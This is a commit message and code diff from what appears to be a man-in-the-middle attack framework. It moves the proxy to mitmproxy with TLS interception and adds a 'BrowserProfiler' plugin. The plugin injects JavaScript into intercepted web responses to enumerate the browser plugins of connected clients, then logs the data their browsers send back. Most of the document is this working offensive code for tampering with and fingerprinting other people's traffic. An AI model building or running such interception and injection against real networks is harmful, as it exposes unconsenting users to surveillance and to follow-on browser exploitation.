Initial commit for v1.0 using mitmproxy instead of twisted

Added a plugin system to Net-Creds so you can now add your own parsers,
api hook names might change between now and the offcial release
(will submit a PR to the original repo once completed)

The main MITM HTTP Proxy now uses mitmproxy which is a big deal, cuts
the code down by an insane amount, no more twisted! yay!

Basic plugin have been re-wrote for the new proxy engine

Since we are using mitmproxy we have out of the box support for SSL/TLS!

plugins/browserprofiler.py

@@ -0,0 +1,22 @@
+import json
+from plugins.plugin import Plugin
+from plugins.inject import Inject
+from pprint import pformat
+
+class BrowserProfiler(Plugin):
+    name = 'Browser Profiler'
+    optname = 'browserprofiler'
+    desc = 'Attempts to enumerate all browser plugins of connected clients'
+    ver = '0.3'
+
+    def initialize(self, context):
+        context.js_file = open('plugins/resources/plugindetect.js', 'r')
+
+    def request(self, context, flow):
+        if flow.request.method == 'POST' and ('clientprfl' in flow.request.path):
+            context.handle_post_output = True
+            pretty_output = pformat(json.loads(flow.request.content))
+            context.log("[BrowserProfiler] Got data:\n{}".format(pretty_output))
+
+    def response(self, context, flow):
+        Inject().response(context, flow)